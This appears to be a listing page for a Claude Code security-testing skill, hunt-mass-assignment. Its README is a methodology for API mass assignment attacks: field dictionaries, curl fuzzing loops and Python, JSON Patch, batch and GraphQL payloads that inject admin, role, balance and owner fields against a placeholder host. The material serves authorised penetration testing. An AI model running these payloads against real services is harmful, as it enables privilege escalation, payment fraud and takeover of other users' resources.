About hunt-mass-assignment
hunt-mass-assignment is a security-testing skill for finding API mass assignment flaws. It guides testers through sensitive-field injection, payload variants, framework-specific checks, and verification.
Key features
- 01Sensitive field injection
- 02Naming and encoding variants
- 03Framework-specific test patterns
- 04JSON Patch and GraphQL checks
- 05Persistence and impact verification
Use cases
- 01Testing profile update endpoints
- 02Assessing registration and checkout APIs
- 03Checking PATCH authorization gaps
Install
Copy the command and run it in a terminal.
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-mass-assignmentAfter installing, type/hunt-mass-assignmentin Claude Code to confirm it loaded.
Details
From the project READMEMass Assignment Hunting
Hunt for mass assignment vulnerabilities where API endpoints blindly bind user-supplied fields to internal objects without allowlisting. Sensitive fields like isAdmin, role, ownerId, plan, tier, balance, and verified can be injected to escalate privileges, bypass payments, or assume ownership of resources.
When to Use
- API accepts JSON/XML/form body with fields beyond what the UI exposes.
- User profile updates, registration, checkout, or resource creation endpoints.
- Framework ORMs (Rails ActiveRecord, Laravel Eloquent, Django ORM, Mongoose, Prisma) where bulk assignment is the default.
- PATCH endpoints that accept sparse updates — may skip per-field authorization.
Quick Detection
# Inject sensitive fields into profile update
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
-H "Content-Type: application/json" \
-d '{"name":"test","isAdmin":true,"role":"admin"}'
Key Sensitive Field Dictionary
| Field | Impact |
|---|---|
isAdmin, is_admin, admin | Admin escalation |
role, roles, user_role | Role escalation |
ownerId, user_id, authorId | Resource takeover |
plan, tier, subscription_type | Payment bypass |
balance, credits, wallet | Financial manipulation |
verified, is_verified, email_verified | Verification bypass |
discount, coupon_applied, promo | Pricing manipulation |
organizationId, tenantId, teamId | Cross-tenant access |
banned, disabled, suspended | Account state control |
Procedure
Phase 1 — Sensitive Field Injection
# Dictionary fuzzing on profile endpoint
FIELDS=("isAdmin:true" "role:admin" "is_admin:true" "roles:[\"admin\"]"
"plan:enterprise" "tier:platinum" "balance:999999"
"verified:true" "ownerId:1" "user_id:1" "authorId:1"
"organizationId:1" "teamId:1" "tenantId:1"
"can_manage:true" "permissions:{\"admin\":true}"
"access_level:admin" "group:administrators"
"is_superuser:true" "superuser:1" "staff:true")
for field in "${FIELDS[@]}"; do
key="${field%%:*}"
val="${field#*:}"
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
-H "Content-Type: application/json" \
-d "{\"$key\":$val,\"name\":\"test\"}" \
-w "\n%{http_code} — $key\n" -o /dev/null
done
Phase 2 — Shape Variants & Encoding
# Dot-path notation (Mongoose, some ORMs)
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
-d '{"profile.is_admin":true}' \
-H "Content-Type: application/json"
# Bracket notation (PHP frameworks)
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/register" \
-d 'user[name]=test&user[is_admin]=1' \
-H "Content-Type: application/x-www-form-urlencoded"
# Array wrappers (Rails, Laravel)
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
-d '{"user":{"name":"test","admin":true}}' \
-H "Content-Type: application/json"
# Duplicate keys (parser differential)
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
-d '{"name":"test","role":"user","role":"admin"}' \
-H "Content-Type: application/json"
Phase 3 — Framework-Specific Patterns
# Django REST Framework — PATCH on nested serializers
requests.patch("https://target.com/api/profile/", json={
"user": {"is_staff": True, "is_superuser": True}
})
# Laravel Eloquent — forceFill bypass
requests.post("https://target.com/api/users", json={
"name": "test", "email": "[email protected]",
"is_admin": 1, "role": "admin"
})
# Mongoose — $set on findByIdAndUpdate
requests.put("https://target.com/api/users/me", json={
"$set": {"role": "admin", "verified": True}
})
# Prisma — connect/create nested relations
requests.post("https://target.com/api/organizations", json={
"name": "test",
"owner": {"connect": {"id": 1}} # takeover existing owner
})
Phase 4 — Batch & Patch Format Exploitation
# JSON Patch — add operation with sensitive field
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
-H "Content-Type: application/json-patch+json" \
-d '[{"op":"add","path":"/role","value":"admin"}]'
# JSON Merge Patch — full object replacement
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
-H "Content-Type: application/merge-patch+json" \
-d '{"role":"admin","verified":true}'
# Batch endpoint — per-item auth skipped
curl --max-time 30 --connect-timeout 10 -sk -X PUT "https://target.com/api/users/batch" \
-d '{"users":[{"id":"me","name":"test"},{"id":"VICTIM_ID","role":"admin"}]}'
Phase 5 — GraphQL Input Type Injection
mutation UpdateProfile {
updateProfile(input: {
name: "test"
role: ADMIN # injected field not in schema
isAdmin: true # injected field
}) {
id
role
}
}
Pitfalls
- Some frameworks silently ignore unknown fields. Try the same field with different naming conventions (snake_case, camelCase, PascalCase).
- PATCH may be more permissive than PUT. Test both methods — some frameworks apply different serializers per HTTP method.
- GraphQL input types are self-documenting. Use introspection to find all writable fields, then test for extras not in the schema.
- Batch endpoints often skip per-item authorization. Test with mixed arrays where only one item belongs to the attacker.
Verification
- Inject a sensitive field into a PATCH/POST/PUT endpoint that the attacker should not control.
- Verify the field was persisted by reading it back via GET.
- Confirm the field change grants elevated access (e.g., access admin panel, view other users).
- Test with multiple naming conventions to rule out framework-level field rejection.
- Check batch and patch-format endpoints which may use different serializers.
Related Skills
hunt-api-misconfig— Broader API misconfiguration including mass assignment patterns.hunt-idor— Object-level authorization gaps often combined with mass assignment.hunt-write-gap— Endpoints that allow writes without requiring read authentication.
Comments
Markdown supported